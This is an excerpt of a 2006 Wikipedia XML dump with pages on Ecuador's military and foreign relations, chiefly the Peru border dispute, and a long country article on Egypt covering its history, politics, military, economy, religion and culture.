[[Category:Military of Ecuador| ]]

The Ecuadorian Army maintains presence in Continental Ecuador, Galapagos (the islands region) and the Antarctic at the &quot;Pedro Vicente Maldonado&quot; Navy Biological Research Station.

The Ecuadorian Air force and Army are divided into Military Zones, each zone is defended by two or more Armies and a fighter wing. Regarding the navy this is divided into Naval Zones, each zone has the presence of Battlegroups ready for combat when the Center for Combined Military Actions calls them.

The Ecuadorian Armed Forces have the President of the Republic as their Supreme Commander in Chief, the president is advised by the Minister of Defense (this is always an Active or Pasive duty General or Admiral) and The N.S.C (National Security Council).

== Ministry of Defense ==

The Ecuadorian Ministry of Defense deals with the Administrative, Financial and day to day matters of the Armed Forces, by law all the information regarding the Budget, expenditures and any other matter regarding the operation of the Ecuadorian Armed Forces is Classified material. In case someone needs this kind of information, his or her request must be cleared by the Minister.


== National Security Council ==

The N.S.C. advises the President of the Republic on purchases, implementation of new technologies, Exercises and defense policy. It is presided by the Defense Minister, Senior Generals and Admirals, the Commander of the National Police and a representative of the Ministry of Economy.

{{South America in topic|Military of}}</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Ecuador</title>
    <id>9343</id>
    <revision>
      <id>40448642</id>
      <timestamp>2006-02-20T17:02:34Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
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      <comment>{{South America in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">[[Ecuador]] always has placed great emphasis on multilateral approaches to international problems. Ecuador is a member of the [[United Nations]] (and most of its specialized agencies) and the [[Organization of American States]] and also is a member of many regional groups, including the [[Rio Group]], the [[Latin American Economic System]], the [[Latin American Energy Organization]], the [[Latin American Integration Association]], and the [[Andean Pact]].

Ecuador's [[History of the Ecuadorian-Peruvian territorial dispute|border dispute]] with [[Peru]], festering since the independence era, has been the nation's principal foreign policy issue. For more than 50 years, Ecuador maintained that the 1942 [[Rio Protocol of Peace, Friendship and Boundaries]] left several issues unresolved. For example, it asserted that geographic features in the area of the [[Cenepa River]] valley did not match the topographical descriptions in the Protocol, thus making demarcation of the boundary there &quot;inexecutable.&quot;

This long-running border dispute occasionally erupted into armed hostility along the undemarcated sections. The most serious conflict since the [[1941]] war occurred in January-February [[1995]], when thousands of soldiers from both sides fought an intense but localized war in the disputed territory in the upper Cenepa valley. A peace agreement brokered by the four Guarantors of the Rio Protocol ([[Argentina]], [[Brazil]], [[Chile]], and the [[United States]]) in February 1995 led to the cessation of hostilities and the establishment of the [[Military Observers Mission to Ecuador-Peru]] (MOMEP) to monitor the zone. In [[1996]], Ecuador and Peru began a series of meetings intended to set the stage for substantive negotiations to resolve the dispute.

Those talks were successful. In January [[1998]], Ecuador and Peru initialed a historic agreement in [[Rio de Janeiro]], Brazil, which provided a framework to resolve the major outstanding issues between the two countries through four commissions. The commissions were to prepare a Treaty of Commerce and Navigation and a Comprehensive Agreement on Border Integration, to fix on the ground the common land boundary, and to establish a Binational Commission on Mutual Confidence Measures and Security. The commissions began work in February, with the intention of reaching a definitive agreement by May 30, 1998. The commissions on border integration and mutual confidence measures successfully concluded their work, and the commission working on a treaty of commerce and navigation produced a draft treaty text, but the commission on border demarcation failed to produce agreement by May 30. A flare-up in military tensions in the disputed region in August 1998 led to the creation of a temporary second MOMEP-patrolled demilitarized zone just south of the first demilitarized zone.

Presidents Mahuad and [[Fujimori]] established direct communication by meetings and phone calls in an effort to overcome the two countries' remaining differences. In October 1998, after asking for and receiving a boundary determination from the guarantors, the two presidents reached agreement. On October 26, 1998, at a ceremony in Brasilia, Presidents Fujimori and Mahuad and their foreign ministers signed a comprehensive settlement.

'''Disputes - international:'''
demarcation of the agreed-upon border with Peru was completed in May [[1999]]

'''Illicit drugs:'''
significant transit country for [[cocaine]] and derivatives of coca originating in [[Colombia]] and Peru; importer of precursor chemicals used in production of illicit narcotics; important [[money-laundering]] hub; increased activity on frontiers by [[illegal drugs trade|trafficking]] groups and Colombian insurgents

==See also==
* [[Ecuador]]
* [[History of the Ecuadorian-Peruvian territorial dispute]]

{{South America in topic|Foreign relations of}} 

[[Category:Foreign relations of Ecuador| ]]</text>
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  </page>
  <page>
    <title>Ecuador/Ecuadorian-US relations</title>
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      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ecuadorian-United States relations]]

:''See also :'' [[Ecuador]]</text>
    </revision>
  </page>
  <page>
    <title>Egypt</title>
    <id>9346</id>
    <revision>
      <id>42138237</id>
      <timestamp>2006-03-04T01:53:36Z</timestamp>
      <contributor>
        <username>Zerida</username>
        <id>454491</id>
      </contributor>
      <minor />
      <comment>/* Origin and history of the name */ This is the convention</comment>
      <text xml:space="preserve">:''Egypt redirects here. For information on the ancient civilization, see [[Ancient Egypt]]''
{{Infobox_Country|
|native_name = جمهوريّة مصر العربيّة&lt;br&gt;{{unicode|Gomhuriat Masr Al-Arabiah}}&lt;br&gt;Arab Republic of Egypt
|common_name = Egypt
|image_flag = Flag of Egypt.svg
|image_coat = Coat of arms of Egypt.png
|image_map = LocationEgypt.png
|national_motto = 
|national_anthem = [[Bilady, Bilady, Bilady]]
|official_languages = [[Arabic language|Arabic]]
|capital = [[Cairo]]
|latd=30 |latm=2 |latNS=N |longd=31 |longm=13 |longEW=E |
|largest_city = [[Cairo]]
|government_type = [[Republic]]
|leader_titles = [[President of Egypt]]&lt;br&gt;[[Prime Minister of Egypt]]
|leader_names = [[Hosni Mubarak]]&lt;br&gt;[[Ahmed Nazif]]
|area_rank = 30th
|area_magnitude = 1 E12
|area= 1,001,450
|percent_water = 0.6%
|population_estimate = 77,505,756
|population_estimate_year = 2005
|population_estimate_rank = 15th
|population_census = 
|population_census_year = 
|population_density = 77
|population_density_rank = 93rd
|GDP_PPP_year= 2004
|GDP_PPP = $282,333,000,000
|GDP_PPP_rank = 31st
|GDP_PPP_per_capita = $4,072
|GDP_PPP_per_capita_rank = 115th
|sovereignty_type = [[History of Egypt|Independence]]
|established_events = Granted&lt;br&gt;Declared
|established_dates = From the [[United Kingdom]]&lt;br&gt;[[February 28]], [[1922]]&lt;br&gt;[[June 18]], [[1953]]
|HDI_year = 2003
|HDI = 0.659
|HDI_rank = 119th
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|currency = [[Egyptian pound]] (LE)
|currency_code = EGP
|country_code = EGY
|time_zone = [[Eastern European Time|EET]]
|utc_offset = +2
|time_zone_DST = [[Eastern European Summer Time|EEST]]
|utc_offset_DST = +3
|cctld = [[.eg]]
|calling_code = 20
|footnotes = 
}}
The '''Arab Republic of Egypt''', commonly known as '''Egypt''', (in [[Arabic language|Arabic]]: مصر, [[Romanization|romanized]] ''Misr'', in [[Egyptian Arabic]] ''Másr'', {{Audio|ar-Gumhuriyat_Misr_al-Arabiyah.ogg|listen}}), is a [[republic]] in [[North Africa]].  While most of the country is geographically located in [[Africa]], the [[Sinai Peninsula]] east of the [[Suez Canal]] is in [[Asia]]. 

Covering an area of about 1,020,000 square kilometres (394,000&amp;nbsp;[[square mile|mi²]]), Egypt shares land [[border]]s with [[Libya]] to the west, [[Sudan]] to the south, and [[Israel]] and the [[Gaza Strip]] to the northeast and has coasts on the north and east by the [[Mediterranean Sea]] and the [[Red Sea]], respectively.  

Egypt is the fifteenth most populous country in the world. The vast majority of its 77 million population (2005) live near the banks of the [[Nile River]] (about 40,000&amp;nbsp;km&amp;sup2;&amp;nbsp;or&amp;nbsp;15,450&amp;nbsp;mi²), where the only arable agricultural land is found. Large areas of land are part of the [[Sahara]] [[Desert]] and are sparsely inhabited. About half of the Egyptian people today are urban, living in the densely populated centers of greater [[Cairo]], the largest city in Africa, and [[Alexandria]].

Egypt is famous for its [[Ancient Egypt|ancient civilization]] and some of the world's most stunning ancient monuments, including the [[Giza pyramid complex|Giza Pyramids]], the [[Karnak]] Temple and the [[Valley of the Kings]] and the Great Sphinx; the southern city of [[Luxor]] contains a particularly large number of ancient artifacts. Today, Egypt is widely regarded as the main political and cultural centre of the [[Arab]] and Middle Eastern regions.

==Origin and history of the name==
''Misr'', the [[Arabic language|Arabic]] and official name for modern Egypt, is of [[Semitic]] origin directly cognate with the [[Hebrew language|Hebrew]] מִצְרַיִם ''Mitzráyim'' meaning &quot;the two straits&quot;, and possibly means &quot;a country&quot; or &quot;a state.&quot; The ancient name for the country, ''kemet'', or &quot;black land,&quot; is derived from the fertile black soils deposited by the Nile floods, distinct from the 'red land' (''deshret'') of the desert. This name became ''keme'' in a later stage of [[Coptic language|Coptic]]. The English name &quot;Egypt&quot; came via the Latin word ''Aegyptus'' derived from the ancient Greek word Αίγυπτος ''Aiguptos'' (see also [[List of traditional Greek place names]]). This word may in turn be derived from the ancient [[Egyptian language|Egyptian]] phrase '' ḥwt-k3-ptḥ'' (&quot;Hwt ka Ptah&quot;) meaning &quot;home of the [[Egyptian soul|Ka (part of the soul)]] of Ptah,&quot; the name of a temple of the god [[Ptah]] at [[Memphis, Egypt|Memphis]]. For details see the article ''[[Copt]]''.

==History==
{{Main articles|[[History of Egypt]] and [[Ancient Egypt]]}}

[[Image:sphinx.jpg|thumb|right|The [[Great Sphinx of Giza]], with the Pyramid of Khafre in the background are at the heart of Egypt's thriving tourism industry.]]The regularity and richness of the annual Nile River flood, coupled with semi-isolation provided by [[desert]]s to the east and west, allowed for the development of one of the world's great civilizations. A unified kingdom was founded circa 3200 [[anno domini|BC]] by King [[Narmer]], and a series of dynasties ruled in Egypt for the next three millennia. The last native dynasty, known as the Thirtieth Dynasty, fell to the [[Iran|Persia]]ns in 341 BC who dug the predecessor of the [[Suez canal]] and connected the [[Red Sea]] to the [[Mediterranean]]. Later, Egypt fell to the Greeks, Romans, [[Byzantines]] and Persians again.

It was the Muslim [[Arabs]] who introduced [[Islam]] and the [[Arabic language]] in the seventh century to the Egyptians, who gradually adopted both. Muslim rulers nominated by the [[Islamic Caliphate]] remained in control of Egypt for the next six centuries. A local military caste, the [[Mamluks]] took control about 1250 and continued to govern even after the conquest of Egypt by the [[Ottoman Turks]] in 1517.

Following the completion of the [[Suez Canal]] in 1869, Egypt became an important world transportation hub; however, the country also fell heavily into debt. Ostensibly to protect its investments, the [[United Kingdom]] seized control of Egypt's government in 1882, but nominal allegiance to the [[Ottoman Empire]] continued until 1914.

Almost fully independent from the UK in 1922, the Egyptian Parliament drafted and implemented a new [[1923 Constitution of Egypt|constitution]] in 1923 under the leadership of the popular revolutionary [[Saad Zaghlul]]. Between 1924-1936 there existed a short-lived but successful attempt to model Egypt's constitutional government after the European style of government; known as [[Egypt's Liberal Experiment]]. However, in 1952 a military ''[[coup d'état]]'' forced [[King Farouk I]], a constitutional monarch, to abdicate in support of his son [[King Ahmed Fouad II]]. 

Finally, the Egyptian Republic was declared on [[18 June]] [[1953]] with General [[Muhammad Naguib]] as the first President of the Republic. After Naguib was also forced to resign in 1954 by [[Gamal Abdel Nasser]], the real architect of the 1952 movement, the latter assumed [[Political power|power]] as President and nationalized the [[Suez Canal]] leading to the 1956 [[Suez Crisis]]. Nasser came out of the war an Arab hero, and [[Nasserism]] won widespread influence in the region though was met with mixed reactions amongst Egyptians, many of whom had previously been indifferent to [[Arab nationalism]]. 

Between 1958 and 1961, Nasser undertook to form a union between Egypt and [[Syria]] known as the [[United Arab Republic]]. This attempt too was met with mixed reactions, and it was clear that many Egyptians resented finding that the name of their country, which had endured for thousands of years, was suddenly eliminated. Three years after the 1967 [[Six Day War]], in which Egypt lost the [[Sinai]] to [[Israel]], Nasser died and was succeeded by [[Anwar Sadat]], who presented his takeover in terms of a [[The Corrective Revolution|Corrective Revolution]]. Sadat switched Egypt's [[Cold War]] allegiance from the [[Soviet Union]] to the [[United States]], expelling Soviet advisors in 1972, and launched the [[Infitah]] economic reform, while violently clamping down on religious and secular opposition alike. Egypt's name was also restored.

In 1973, Egypt, along with [[Syria]], launched a surprise attack on Israel in the [[October War]] (known also as the [[Yom Kippur War]]), which, despite not being a complete military success, was by most accounts a political victory. Both the [[United States]] and the [[USSR]] intervened, and a cease-fire was reached between Egypt and [[Israel]]. In 1979, Sadat made [[Camp David Accords|peace]] with [[Israel]] in exchange for the Sinai, a move that sparked enormous controversy in the Arab world and led to Egypt's expulsion from the [[Arab League]] (it was readmitted in 1989). Sadat was murdered by a religious fundamentalist in 1981, and succeeded by [[Hosni Mubarak]].

==Politics==
{{main|Politics of Egypt}}

[[Image:presoffice.jpg|thumb|The Office of the [[President of Egypt]] at the [[Presidential Palace]].]]Egypt has been a republic since [[18 June]] [[1953]]. President [[Hosni Mubarak|Mohamed Hosni Mubarak]] has been the [[President of Egypt|President of the Republic]] since [[October 14]] [[1981]], following the assassination of former-President [[Anwar Sadat|Mohammed Anwar El-Sadat]]. Muburak is currently serving his sixth term in office. He is the leader of the ruling [[National Democratic Party (Egypt)|National Democratic Party]]. [[Heads of government of Egypt|Prime Minister]] Dr. [[Ahmed Nazif]] was sworn in as Prime Minister on [[9 July]] [[2004]], following the resignation of Dr. [[Atef Ebeid]] from his office.

Egypt is regarded by many as being ruled by a military dictatorship. Although power is ostensibly organised under a [[Multi-party system|multi-party]] [[semi-presidential system]], whereby the executive power is theoretically divided between the President and the Prime Minister, in practice it rests almost solely with the President who traditionally has been elected in single-candidate elections for more than fifty years. Egypt also holds regular multi-party parliamentary elections. The last presidential election, in which Mubarak won a sixth consecutive term, was held in September 2005 (see below). 

[[Image:parli.gif|thumb|The [[Parliament of Egypt|Egyptian Parliament]].]]In late-February 2005, Mubarak announced in a surprise television broadcast that he had ordered the reform of the country's presidential election law, paving the way for multi-candidate polls in the upcoming presidential election. For the first time since the 1952 movement, the Egyptian people had an apparent chance to elect a leader from a list of various candidates. The President said his initiative came &quot;out of my full conviction of the need to consolidate efforts for more freedom and democracy.&quot; However, the new law placed draconian restrictions on the filing for presidential candidacies, designed to prevent well-known candidates such as [[Ayman Nour]] from standing against Mubarak, and paved the road for his easy re-election victory. 

Concerns were once again expressed after the 2005 elections about government interference in the election process through fraud and vote-rigging. In addition, violence by pro-Mubarak supporters against opposition demonstrators and police brutality were evident during the elections. This poses major questions about the government's purported commitment to democracy.

As a result, most Egyptians are skeptical about the process of democratisation and the role of the elections. A very small proportion of those eligible to vote actually turned out for the 2005 elections. Newspapers, however, have exhibited an increasing degree of freedom in criticizing the president, and the results of the recent parliamentary elections, which saw Islamist parties such as the banned [[Muslim Brotherhood]] winning many seats, genuinely indicate that a change of some sorts is underway.

The permanent headquarters for the [[League of Arab States]] (The Arab League) is located in Cairo. Egypt was the first Arab state to establish diplomatic relations with the state of Israel, after the signing of the [[Israel-Egypt Peace Treaty]] at the [[Camp David Accords (1978)|Camp David Accords]]. Egypt has a major influence amongst other Arab states, and has historically played an important role as a mediator in resolving disputes between various Arab nations, and in the Israeli-Palestinian dispute. Most Arab nations still give credence to Egypt playing that role, though its effects are often limited.

==Military==
{{main|Military of Egypt}}

The Egyptian Armed Forces ([[Arabic]]: القوات المسلحة المصرية tran: Al-Quwwat Al-musallaha Al-Masriya) consists of the Army, Air Force, Navy and Air Defense. The Coast Guard and Border Guard operate as subordinates to the Navy and Army Command respectively.

[[Image:Egyptian F-16s.jpg|thumb|Egyptian F-16s flying in close formation next to the Pyramids]]The Egyptian military is the strongest military power on the African continent, and the second largest in the Middle East, the largest being that of Israel - (Source: Jaffee Center for Strategic Studies' annual Middle East Strategic Balance). The Egyptian Armed Forces also ranks among the most battle-trained armed forces in the region. Its inventory includes [[F-16]]s, [[Mirage 2000]] aircraft, [[MiG-29]] fighters, [[Apache helicopter]]s, [[M1 Abrams]] Tanks and medium-long range missiles. The Egyptian Armed forces, has a combined troop strength of 450,000 active personnel.

The Supreme Commander is [[Hosni Mubarak]], wartime [[Field Marshal]] of the army, [[admiral]] of the navy, Chief Air Marshal ([[Colonel General]]) of the Air Forces and Air Defence Forces. During peacetime, the title of Supreme Commander is ceremonial.

The Commander-in-Chief and commander of the army is [[Field Marshal]] [[Mohamed Hussein Tantawi]], Minister Of Defense and Military Production.

The Chief of Staff is Lt. Gen. Sami Hafez Enan.

The Commander of the Navy is Vice Admiral Tamer Abd El Aleem Mohamed Ismail

The Commander of the Air Forces is Air Marshal (Lt. Gen.) Magdy Galal Sharawi 

The Commander of the Air Defence Forces is Major General Abd El Aziz Seif

[[Conscription#Egypt|Conscription]] is compulsory for Egyptian men of 18 years of age. Full-time students may defer their service until the age of 28. The length of the service depends on the level of education achieved by the conscripted.

Military relations between Egypt and the US are strong. Military cooperation between the two countries covers a number of strategic areas, including cooperation in the ongoing process of modernising Egyptian armaments and training the Egyptian armed forces.

While military cooperation between the US and Egypt is close and diversified, this does not constitute a form of military alliance. Nothing could furnish clearer proof of this than the high degree of transparency surrounding all aspects of Egyptian-US military cooperation. Bilateral exercises and mutual training are carried out regularly, and, according to one US source, reflect the high level of professionalism and the growing excellence of the fighting men and women in the various branches of the Egyptian armed forces.

Egypt takes part regularly in military exercises with the US and other European and Arab allies, including the manoeuvres that take place in Egypt every two years.

Egypt continues to contribute regularly to United Nations peacekeeping missions, most recently in [[East Timor]], [[Sierra Leone]], and [[Liberia]].

==Governorates==
{{main|Governorates of Egypt}}
[[Image:Eg-map.png|thumb|right|Map of Egypt]]

Egypt is divided into 26 [[governorate]]s (''Muhafazat;'' singular &amp;ndash; ''Muhafazah'') and the city of [[Al Uqsur]] (Luxor), which is classified as a city rather than a governorate.

&lt;table border=0&gt;&lt;tr valign=top&gt;&lt;td&gt;
*[[Aswan]]
*[[Asyut]]
*[[Al Bahr al Ahmar Governorate|Al-Bahr Al-Ahmar]] (Red Sea)
*[[Bani Suwayf]]
*[[Al Buhayrah|El-Beheirah]]
*[[Bur Sa'id]] (Port Said)
*[[Ad-Daqahliyah]]
*[[Dimyat|Dumyat]]
*[[Al Fayyum|Al-Fayyum]]
&lt;td&gt;
*[[Al Gharbiyah|Al-Gharbiyah]]
*[[Al Iskandariyah|Al-Iskandariyah]] (Alexandria)
*[[Al Isma'iliyah|Al-Isma'iliyah]]
*[[janub Sina'|Ganub Sina]] (South Sinai)
*[[Giza|El Gizah]] (Giza)
*[[Kafr ash Shaykh Governorate|Kafr El Shaykh]]
*[[Matruh]]
*[[Al Minufiyah|Al-Monufiyah]]
*[[Al Minya|Al-Minya]]
&lt;td&gt;
*[[Al Qahirah]] (Cairo)
*[[Al Qalyubiyah]]
*[[Qina]]
*[[Shamal Sina']] (North Sinai)
*[[Ash Sharqiyah Governorate|Al Sharqiyah]]
*[[Suhaj]]
*[[Suez|Al-Suways]] (Suez)
*[[Al Wadi al Jadid|El Wadi El-Gedid]] (New Valley)
*[[Al Uqsur|Luqsur]] (Luxor)
&lt;/table&gt;

==Foreign relations==
{{main|Foreign relations of Egypt}}
[[Image:modern_cairo2.jpg|thumb|right|Modern Cairo]]Geography, population, history, military strength, and diplomatic expertise give Egypt extensive political influence in the Middle East. Cairo has been a crossroads of Arab commerce and culture for millennia, and its intellectual and Islamic institutions are at the center of the region's social and cultural development.

The [[League of Arab States]] headquarters is in Cairo. The Secretary General of the League has traditionally been an Egyptian. Former Egyptian Foreign Minister [[Amr Moussa]] is the present Secretary General of the Arab League.

Egyptian Deputy Prime Minister Boutros Boutros-Ghali served as Secretary General of the United Nations from 1991 to 1996.

Egypt is on good terms with all of its neighbours, and was the first Arab nation to make peace with Israel. It has a territorial dispute with Sudan over the [[Hala'ib Triangle]].

==Economy==
{{main|Economy of Egypt}}

[[Image:Egypt south of Cairo.jpg|right|250px|thumb|Egyptian countryside, south of Cairo.]]Egypt's economy depends mainly on agriculture, media, petroleum exports, and tourism; there are also more than 5 million Egyptians working abroad, mainly in Saudi Arabia, the Gulf area like [[UAE]], and [[Europe]]. The [[United States]] as well has a large population of Egyptian immigrants.

The completion of the [[Aswan High Dam]] in 1971 and the resultant [[Lake Nasser]] have altered the time-honored place of the Nile River in the [[agriculture]] and ecology of Egypt. A rapidly-growing population (the largest in the Arab world), limited arable land, and dependence on the Nile all continue to overtax resources and stress the economy.

The government has struggled to prepare the economy for the new millennium through economic reform and massive investments in communications and physical infrastructure, much financed from U.S. [[foreign aid]] (since 1979, an average of 2.2 billion dollars per year). Egypt is the third-largest recipient of such funds from the United States following the Iraq war. Economic conditions are starting to improve considerably after a period of stagnation due to the adoption of more liberal economic policies by the government, as well as increased revenues from tourism and a booming stock market. In its annual report, the [[IMF]] has rated Egypt as one of the top countries in the world undertaking economic reforms.

==Demographics==
{{main|Demographics of Egypt}}

Egypt is the second most populous country in [[Africa]], at about 77,500,000 people. Nearly all the population is concentrated along the banks of the [[River Nile|Nile]], notably [[Alexandria]] and [[Cairo]], and in the Delta and near the [[Suez Canal]]. Approximately 94% of the population adheres to [[Islam]] and most of the remainder to [[Christianity]] (primarily the [[Coptic Christian|Coptic Orthodox]] denomination).

The Egyptians are a fairly homogeneous people. [[North African]] and Eastern [[Mediterranean]] influences are more predominant in the north, while the south which bears the same influences is also home to people who are related to [[Nubians]] and Africans further southeast such as Ethiopians. The bulk of modern Egyptian society still maintains a homogenous genetic tie to ancient Egyptian society, which has always been rural and quite populous compared to neighboring countries. The Egyptian people have spoken only languages from the Afro-Asiatic family (previously known as Hamito-Semitic) throughout their history starting with Old Egyptian to modern [[Egyptian Arabic]].

Ethnic minorities include a small number of Bedouin Arab nomads in the Sinai and eastern and western deserts, as well as some Nubians clustered along the Nile in Upper (southern) Egypt who are estimated to be about 0.8% of the population. Egypt also hosts some 90,000 refugees and asylum seekers, made up mostly of 70,000 Palestinian refugees and 20,000 Sudanese refugees. The once-vibrant Jewish community in Egypt has virtually [[Jewish exodus from Arab lands|disappeared]], with only a small number remaining in Egypt and those who visit on religious occasions. Several important Jewish archeological and historical sites also remain.

==Religion==
{{main|Religion in Egypt}}
[[Image:monastry3.jpg|thumb|right|Over six million Egyptians follow the [[Christianity|Christian]] faith as members of the [[Coptic Church]]]]

According to the constitution, any new legislation must implicitly agree with Islamic (Arabic: الإسلام) laws. Egypt is predominantly Muslim, covering about 94% of the population, most belong to the Sunni branch of Islam. Christians represent about 6% of the population, primarily the [[Coptic Christian|Coptic]] denomination, though other Christian groups are present, including standard [[Roman Catholics]], [[Greek Orthodox]], and [[Armenian Orthodox]], in [[Alexandria]] and [[Cairo]], whose adherents are mainly descendants of [[Italy|Italian]], [[Greece|Greek]], and [[Armenians|Armenian]] immigrants. &lt;BR&gt;
There are also some few, small Jewish communities that are numbered as few as 300 Egyptians.&lt;BR&gt;
&lt;BR&gt;
There are also many who consider themselves as atheists, agnostics, and skeptics, although their numbers can not be identified.&lt;BR&gt;
&lt;BR&gt;
The mainstream [[Hanafi]] school of [[Sunni]] Islam is largely organised by the state, through ''Wizaret Al-Awkaf'' (Ministry of Religious Affairs). ''Al-Awkaf'' controls all mosques and Muslim clerics. [[Imams]] are trained in Imam vocational schools and at [[Al-Azhar University]]. The department supports Sunni Islam and has commissions authorised to give ''Fatwa'' judgements on Islamic issues. &lt;BR&gt;
&lt;BR&gt;
Egypt also hosts two major religious institutions. [[Al-Azhar University]] is the oldest Islamic institution for higher studies (founded around 970 CE), with its corresponding mosque [[Al-Azhar]].  Egypt also has a strong Christian heritage as it is the home of the [[Coptic Orthodox Church]] headed by the [[Patriarch of Alexandria]], which has a following of approximately 50 million Christians worldwide.

==Geography==
{{main|Geography of Egypt}}

[[Image:EgyptianDesert.JPG|thumb|right|A great part of Egypt's landmass is desert.]]

Egypt is bordered by [[Libya]] on the west, [[Sudan]] on the south, and on [[Israel]] on the northeast.  Egypt's important role in geopolitics stems from its strategic position: a [[transcontinental nation]], it possesses a land bridge (the Isthmus of Suez) between [[Africa]] and [[Asia]], which in turn is traversed by a navigable waterway (the [[Suez Canal]]) that connects the Mediterranean Sea with the [[Indian Ocean]] via the [[Red Sea]].

Towns and cities include [[Alexandria]], one of the great ancient cities, [[Aswan]], [[Asyut]], [[Cairo]], the modern Egyptian capital, [[El-Mahalla El-Kubra]], [[Giza]], the site of the Pyramid of Khufu, [[Hurghada]], [[Luxor]], [[Kom Ombo]], [[Port Safaga]], [[Port Said]], [[Sharm el Sheikh]], Shubra-El-Khema, [[Suez]], where the Suez Canal is located, [[Zagazig]], and [[Al-Minya]].

Deserts: Egypt includes parts of the [[Sahara Desert]] and of the [[Libyan Desert]]. These deserts were referred to as the &quot;red land&quot; in ancient Egypt, and they protected the Kingdom of the Pharaohs from harm.

[[oasis|Oases]] include: [[Bahariya Oasis]], Dakhleh Oasis, Farafra Oasis, [[Kharga Oasis]], [[Siwa Oasis]]. An oasis is a fertile or green area in the midst of a desert.

==Culture==
{{main|Culture of Egypt}}

[[Image:Cairo.jpg|thumb|left|Egypt's capital [[Cairo]] is the largest city in [[Africa]] and the [[Middle East]]]]Egypt's capital city, Cairo, is Africa's largest city and has been renowned for centuries as a center of learning, culture and commerce. The Egyptian [[Academy of the Arabic Language]] is responsible for regulating the [[Arabic Language]] (Arabic:اللغة العربية ) throughout the world.

Egypt also hosts two major religious institutions. [[Al-Azhar University]] (Arabic: جامعة الأزهر ) is the oldest [[Islam|Islamic]] institution for higher studies (founded around 970 CE), with its corresponding mosque Al-Azhar. The head of Al-Azhar is traditionally regarded as the supreme leader of Sunni Muslims all over the world. Egypt also has a strong Christian heritage as evidenced by the existence of the [[Coptic Christianity|Coptic Orthodox Church]] headed by the [[Patriarch of Alexandria]], which has a following of approximately 50 million Christians worldwide (one of the famous Coptic Orthodox Churches is Saint Takla Haimanot Church in Alexandria http://www.St-Takla.org).

Though considered a low-income country, Egypt has a thriving media and arts industry, with more than 30 satellite channels and more than 100 motion pictures produced each year. To bolster its media industry, especially with the keen competition from the [[Persian Gulf states]] and Lebanon, it has built a large media city that it has promoted as the &quot;Hollywood of the East.&quot; Egypt is the only Arab country with an [[opera]] house.

Some famous Egyptians include:

*[[Saad Zaghlul]] (leader of first modern Egyptian revolution)
*[[Gamal Abdel Nasser]] (former president)
*[[Boutros Boutros-Ghali]] (former Secretary General of the United Nations)
*[[Naguib Mahfouz]] (Nobel Prize-winning novelist)
*[[Umm Kulthum]] (singer)
*[[Omar Sharif]] (actor)
*[[Ahmed H. Zewail|Ahmed Zewail]] (Nobel Prize-winning chemist)
*[[Mohamed ElBaradei]] (Head of the International Atomic Energy Agency and Winner of the 2005 Nobel Peace Prize)
*[[Anwar Sadat]] (former president and winner of the Nobel Peace Prize)

For more famous Egyptians check: [http://en.wikipedia.org/wiki/List_of_Egyptians]

==See also==
* [[Capital of Egypt]] 
* [[Communications in Egypt]]
* [[Coptic Christianity]]
* [[Egyptian mythology]]
* [[Egyptian pyramids]]
* [[History of the Jews in Egypt]]
* [[History of Armenians in Egypt]]
* [[Islam in Egypt]]
* [[List of Egypt-related topics]]
* [[List of Egyptian companies]]
* [[List of famous Egyptian people]]
* [[List of African writers (by country)#Egypt|List of writers from Egypt]]
* [[Military of Egypt]]
* [[Music of Egypt]]
* [[Transportation in Egypt]]
* [[Red Sea Riviera]]

==References==
*{{CIAfb}}{{clr}}
*{{StateDept}}

==External links==
{{sisterlinks|Egypt}}

===Government===
*[http://www.egypt.gov.eg/english/default.asp Egyptian Government Services Portal]
*[http://www.sis.gov.eg/En/Default.htm Egypt State Information Services]
*[http://www.idsc.gov.eg/ Egypt Information Portal] - available in Arabic and English

===News===
*[http://weekly.ahram.org.eg/ Al-Ahram Weekly]
*[http://allafrica.com/egypt/ AllAfrica &amp;ndash; ''Egypt''] news
*[http://www.egypttoday.com/ Egypt Today] magazine
*[http://www.businesstodayegypt.com/ Business Today Egypt] magazine
*[http://story.news.yahoo.com/fc?cid=34&amp;tmpl=fc&amp;in=World&amp;cat=Egypt Yahoo! News Full Coverage &amp;ndash; ''Egypt''] headline links

===Overviews===
*[http://news.bbc.co.uk/2/hi/world/middle_east/country_profiles/737642.stm BBC News Country Profile - ''Egypt'']
*[http://www.cia.gov/cia/publications/factbook/geos/eg.html CIA World Factbook - ''Egypt'']
*[http://web.amnesty.org/report2005/egy-summary-eng Amnesty International's 2005 Report on Egypt.]
*[http://www.state.gov/p/nea/ci/c3729.htm US State Department - ''Egypt''] includes Background Notes, Country Study and major reports
*[http://www.mobileafrica.net/egypt.php Mobile communications in Egypt]
*[http://hrw.org/doc?t=mideast&amp;c=egypt Human Rights Watch -Egypt] 
*[http://dmoz.org/Regional/Africa/Egypt Open Directory Project - ''Egypt''] directory category
*[http://www.joinafrica.com/countries1/Egypt/people.htm Joinafrica.com - ''Egypt'']

===Education===
See: ''[[List of Egyptian universities]]''
*[http://www.worldwide.edu/ci/egypt/index.html Study Destinations in Egypt]
*[http://www.scu.eun.eg/eng/scu-eng.htm Supreme Council of Universities]

===Tourism===
''See: [[List of museums in Egypt]]''
*{{wikitravel}}
*[http://www.touregypt.net/ Tour Egypt] (Association of Egyptian Travel Businesses)
*[http://www.egypt-travelguide.com/ Egypt Hotel &amp; Travel Guide]
*[http://www.eternalegypt.org/ Journey through Eternal Egypt]
*[http://ancient-egypt.blogspot.com/ History of Ancient Egypt]

===Others===
*[http://www.fonsvitae.com/archit.html CAIRO - 1001 Years of Islamic Art and Architecture (Video series in four parts)]
*[http://www.lib.utexas.edu/maps/egypt.html Egypt Maps - Perry-Castañeda Map Collection]
*[http://ianandwendy.com/OtherTrips/Egypt Egypt Photo Galleries] Pictures from a visit in December 2004
*[http://st-takla.org/Egypt-1.html Egypt through the ages..]
*[http://www.egyptianculture.net Egyptian Mythology]
*[[Khnumhotep &amp; Niankhkhnum]]
*[http://en.jurispedia.org/index.php/Egypt Egyptian law] from [[Jurispedia]]
*[http://www.globalamity.net/index.php?section=article&amp;articleid=15 Photographs of Egypt] Pictures from a visit in May/June 2005

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{{Africa}}
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[[Category:African Union member states]]
[[Category:Arab League]]
[[Category:Bicontinental countries]]
[[Category:Egypt| ]]
